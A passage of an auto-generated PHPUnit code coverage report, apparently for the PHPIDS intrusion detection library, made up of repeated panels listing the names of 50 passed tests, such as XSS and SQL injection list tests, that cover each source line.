id="container87"><a name="87"></a><a href="#87" id="line87"> 87</a> </span> : -<span class="lineNum" id="container88"><a name="88"></a><a href="#88" id="line88"> 88</a> </span> : /* -<span class="lineNum" id="container89"><a name="89"></a><a href="#89" id="line89"> 89</a> </span> : * Local variables: -<span class="lineNum" id="container90"><a name="90"></a><a href="#90" id="line90"> 90</a> </span> : * tab-width: 4 -<span class="lineNum" id="container91"><a name="91"></a><a href="#91" id="line91"> 91</a> </span> : * c-basic-offset: 4 -<span class="lineNum" id="container92"><a name="92"></a><a href="#92" id="line92"> 92</a> </span> : * End: - -</pre> - </td> - </tr> - </table> - - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - <tr><td class="versionInfo">Generated by <a href="http://www.phpunit.de/">PHPUnit 3.3.1</a> and <a href="http://www.xdebug.org/">Xdebug 2.1.0-dev</a> at Mon Dec 22 13:57:42 CET 2008.</td></tr> - </table> - - <br /> - - <script language="javascript"> - $E = YAHOO.util.Event; - YAHOO.namespace("phpunit.container"); - YAHOO.phpunit.container.panelsData = { - "panel65": { - "header": "50 tests cover line 65", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingNone(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFile(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel66": { - "header": "50 tests cover line 66", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingNone(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFile(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel67": { - "header": "50 tests cover line 67", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingNone(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFile(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel68": { - "header": "50 tests cover line 68", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingNone(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFile(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel69": { - "header": "50 tests cover line 69", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingNone(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFile(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel70": { - "header": "50 tests cover line 70", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingNone(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFile(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel71": { - "header": "50 tests cover line 71", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingNone(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFile(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel72": { - "header": "50 tests cover line 72", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testFilterSetFilterSet(IDS_FilterTest)</li><li class=\"testPassed\">testCachingNone(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFile(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingFileGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSession(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionSetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCache(IDS_CachingTest)</li><li class=\"testPassed\">testCachingSessionGetCacheDestroyed(IDS_CachingTest)</li></ul>", - "footer": "" - }, - "panel73": { - "header": "50 tests cover line 73", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li 